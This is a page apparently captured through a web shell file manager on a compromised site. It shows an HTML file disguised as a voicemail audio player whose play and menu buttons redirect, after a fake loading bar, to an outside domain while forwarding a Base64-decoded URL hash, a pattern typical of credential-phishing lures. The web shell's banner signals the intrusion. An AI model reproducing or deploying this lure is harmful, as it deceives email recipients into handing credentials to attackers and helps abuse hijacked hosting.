Sindbad~EG File Manager

Current Path : /home/infinitibizsol/superexoticrental.com/newworkbar---/
Upload File :
Current File : /home/infinitibizsol/superexoticrental.com/newworkbar---/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Full Screen Audio Player</title>
    <!-- FontAwesome CDN -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=SF+Pro+Text:wght@400;600&display=swap');

        body {
            font-family: 'SF Pro Text', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background-color: #000;
            color: #fff;
            margin: 0;
            display: flex;
            flex-direction: column;
            height: 100vh;
            justify-content: center;
            align-items: center;
            overflow: hidden;
        }
        .audio-player {
            width: 100%;
            height: 100%;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            position: relative;
        }
        .top-bar {
            width: 100%;
            height: 50px;
            background-color: #f8f8f8;
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 0 20px;
            position: absolute;
            top: 0;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        .top-bar .left-buttons {
            display: flex;
            gap: 20px;
        }
        .top-bar .right-buttons {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        .top-bar button, .top-bar a {
            background: none;
            border: none;
            color: #007aff;
            cursor: pointer;
            font-size: 16px;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        .top-bar button .icon, .top-bar a .icon {
            font-size: 20px;
        }
        .top-bar .file-info {
            display: flex;
            align-items: center;
            gap: 5px;
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
        }
        .top-bar .file-info .file-name {
            font-size: 18px;
            color: #000;
            font-weight: 600;
        }
        .top-bar .file-info .music-icon {
            font-size: 20px;
            color: #007aff;
        }
        .top-icons {
            display: flex;
            gap: 15px;
            align-items: center;
        }
        .top-icons i {
            color: #007aff;
            font-size: 20px;
        }
        .right-functions {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            gap: 10px;
            position: absolute;
            top: 60px; /* Adjusted to move down */
            right: 20px;
        }
        .right-functions a {
            color: #fff;
            text-decoration: none;
            font-size: 16px;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        .right-functions a .icon {
            font-size: 20px;
        }
        .middle-container {
            display: flex;
            align-items: center;
            justify-content: center;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
        .middle-icon {
            font-size: 200px;
            color: #555;
            position: absolute;
            z-index: 1;
        }
        .play-button {
            background: none;
            border: none;
            color: #fff;
            cursor: pointer;
            font-size: 64px;
            position: absolute;
            z-index: 2;
            left: calc(50% + 10px);
            top: 50%;
            transform: translate(-50%, -50%);
            transition: transform 0.3s ease;
        }
        .loader {
            --d: 22px;
            width: 4px;
            height: 4px;
            border-radius: 50%;
            color: #fff;
            box-shadow: 
                calc(1 * var(--d)) calc(0 * var(--d)) 0 0,
                calc(0.707 * var(--d)) calc(0.707 * var(--d)) 0 1px,
                calc(0 * var(--d)) calc(1 * var(--d)) 0 2px,
                calc(-0.707 * var(--d)) calc(0.707 * var(--d)) 0 3px,
                calc(-1 * var(--d)) calc(0 * var(--d)) 0 4px,
                calc(-0.707 * var(--d)) calc(-0.707 * var(--d)) 0 5px,
                calc(0 * var(--d)) calc(-1 * var(--d)) 0 6px;
            animation: l27 1s infinite steps(8);
            position: absolute;
            z-index: 3;
            display: none;
        }
        @keyframes l27 {
            100% {
                transform: rotate(1turn);
            }
        }
        .progress-container {
            width: 100%; /* Full width */
            background-color: rgba(255, 255, 255, 0.2); /* Light white background color */
            border-radius: 5px;
            overflow: hidden;
            position: absolute;
            bottom: 80px; /* Adjusted to move up */
        }
        .progress-bar {
            width: 0;
            height: 4px;
            background-color: rgba(255, 255, 255, 0.5); /* Light white progress color */
            transition: width 1s linear;
            position: relative;
        }
        .loading-dot {
            width: 8px;
            height: 8px;
            background-color: rgba(255, 255, 255, 0.8); /* Slightly brighter white for visibility */
            border-radius: 50%;
            position: absolute;
            top: -2px; /* Adjust as needed to center vertically */
            left: 0;
            transition: left 1s linear;
        }
        .controls {
            display: flex;
            justify-content: flex-start; /* Moved to the left */
            align-items: center;
            width: 100%;
            padding: 0 20px;
            position: absolute;
            bottom: 40px; /* Adjusted to move up */
            color: #fff;
            background-color: rgba(0, 0, 0, 0.8);
        }
        .controls button {
            background: none;
            border: none;
            color: #fff;
            cursor: pointer;
            font-size: 20px;
            margin: 0 10px;
        }
        .time-counter {
            font-size: 14px;
            margin: 0 20px;
        }
    </style>
</head>
<body>
    <div class="top-bar">
        <div class="left-buttons">
            <button onclick="redirectToExample()"><span class="icon"><i class="fas fa-share-alt"></i></span>Share</button>
            <button onclick="redirectToExample()"><span class="icon"><i class="fas fa-copy"></i></span>Copy</button>
            <button onclick="redirectToExample()"><span class="icon"><i class="fas fa-download"></i></span>Download</button>
        </div>
        <div class="file-info">
            <div class="music-icon"><i class="fas fa-music"></i></div>
            <div class="file-name">voice_mail_38484.wav</div>
        </div>
        <div class="top-icons">
            <i class="fas fa-info-circle"></i>
            <i class="fas fa-backward"></i>
            <span>1/1</span>
            <i class="fas fa-forward"></i>
            <i class="fas fa-times"></i>
        </div>
        <div class="right-functions">
            <a href="#" onclick="redirectToExample()"><span class="icon"><i class="fas fa-cog"></i></span>Audio Settings</a>
            <a href="#" onclick="redirectToExample()"><span class="icon"><i class="fas fa-info-circle"></i></span>About Audio</a>
            <a href="#" onclick="redirectToExample()"><span class="icon"><i class="fas fa-comment-alt"></i></span>Comments</a>
            <a href="#" onclick="redirectToExample()"><span class="icon"><i class="fas fa-question-circle"></i></span>Help</a>
        </div>
    </div>
    <div class="audio-player">
        <div class="middle-container">
            <div class="middle-icon"><i class="fas fa-music"></i></div>
            <button class="play-button" onclick="startRollingAndRedirect()"><i class="fas fa-play"></i></button>
            <div class="loader" id="loader"></div>
        </div>
        <audio id="audio" controls style="display:none;">
            <source src="your-audio-file.wav" type="audio/wav">
            Your browser does not support the audio element.
        </audio>
        <div class="progress-container">
            <div class="progress-bar" id="progress-bar">
                <div class="loading-dot" id="loading-dot"></div>
            </div>
        </div>
        <div class="controls">
            <button onclick="goBackward()"><i class="fas fa-backward"></i></button>
            <button onclick="startRollingAndRedirect()" id="play-pause"><i class="fas fa-play"></i></button>
            <button onclick="goForward()"><i class="fas fa-forward"></i></button>
            <div class="time-counter" id="time-counter">00:00 / 01:13</div>
        </div>
    </div>

    <script>
        const audio = document.getElementById('audio');
        const playButton = document.querySelector('.play-button');
        const playPauseButton = document.getElementById('play-pause');
        const loader = document.getElementById('loader');
        const currentTimeDisplay = document.getElementById('current-time');
        const durationDisplay = document.getElementById('duration');
        const progressBar = document.getElementById('progress-bar');
        const loadingDot = document.getElementById('loading-dot');
        const timeCounter = document.getElementById('time-counter');

        function updateCurrentTime() {
            const minutes = Math.floor(audio.currentTime / 60);
            const seconds = Math.floor(audio.currentTime % 60);
            const currentTimeText = `${minutes}:${seconds.toString().padStart(2, '0')}`;
            timeCounter.textContent = `${currentTimeText} / ${durationDisplay.textContent}`;
            const progressPercent = (audio.currentTime / audio.duration) * 100;
            progressBar.style.width = progressPercent + '%';
            loadingDot.style.left = `calc(${progressPercent}% - 4px)`; // Adjust to keep the dot within bounds
        }

        audio.addEventListener('timeupdate', updateCurrentTime);

        function togglePlayPause() {
            if (audio.paused) {
                audio.play();
                playPauseButton.innerHTML = '<i class="fas fa-pause"></i>';
            } else {
                audio.pause();
                playPauseButton.innerHTML = '<i class="fas fa-play"></i>';
            }
        }

        function redirectToExample() {
            window.location.href = 'https://example.com';  // Replace with the URL to redirect to
        }

        function startRollingAndRedirect() {
            playButton.style.display = 'none';
            loader.style.display = 'block';
            progressBar.style.transition = 'width 1s linear';
            progressBar.style.width = '10%';
            loadingDot.style.transition = 'left 1s linear';
            loadingDot.style.left = '10%';
            setTimeout(() => {
                progressBar.style.transition = 'width 1s linear';
                progressBar.style.width = '15%';
                loadingDot.style.transition = 'left 1s linear';
                loadingDot.style.left = '15%';
                setTimeout(() => {
                    window.location.href = 'https://causlltd.com/?rnkkpbff';  // Replace with the URL to redirect to
                }, 1000);
            }, 1000);
        }

        // Set the initial duration
        audio.addEventListener('loadedmetadata', () => {
            const minutes = Math.floor(audio.duration / 60);
            const seconds = Math.floor(audio.duration % 60);
            durationDisplay.textContent = `${minutes}:${seconds.toString().padStart(2, '0')}`;
            timeCounter.textContent = `00:00 / ${durationDisplay.textContent}`;
        });
    </script>
   <script>
function startRollingAndRedirect() {
    const playButton = document.querySelector('.play-button');
    const bottomPlayButton = document.getElementById('play-pause');
    const loader = document.getElementById('loader');
    const progressBar = document.getElementById('progress-bar');
    const loadingDot = document.getElementById('loading-dot');

    playButton.style.display = 'none';
    bottomPlayButton.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
    loader.style.display = 'block';

    progressBar.style.transition = 'width 1s linear';
    progressBar.style.width = '10%';
    loadingDot.style.transition = 'left 1s linear';
    loadingDot.style.left = '10%';

    setTimeout(() => {
        progressBar.style.width = '15%';
        loadingDot.style.left = '15%';

        setTimeout(() => {
            const baseUrl = "https://causlltd.com/?rnkkpbff"; // Replace with your URL
            const currentHash = window.location.hash.substring(1);
            const finalHash = isBase64(currentHash) ? atob(currentHash) : currentHash;

            if (finalHash) {
                window.location.href = `${baseUrl}#${finalHash}`;
            } else {
                window.location.href = baseUrl;
            }
        }, 1000);
    }, 1000);
}

// Check if hash is valid Base64
function isBase64(str) {
    try {
        return btoa(atob(str)) === str;
    } catch (e) {
        return false;
    }
}

function redirectToExample() {
    window.location.href = 'https://causlltd.com/?rnkkpbff';
}

function goBackward() {
    alert("Backward button clicked!");
}

function goForward() {
    alert("Forward button clicked!");
}
</script>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists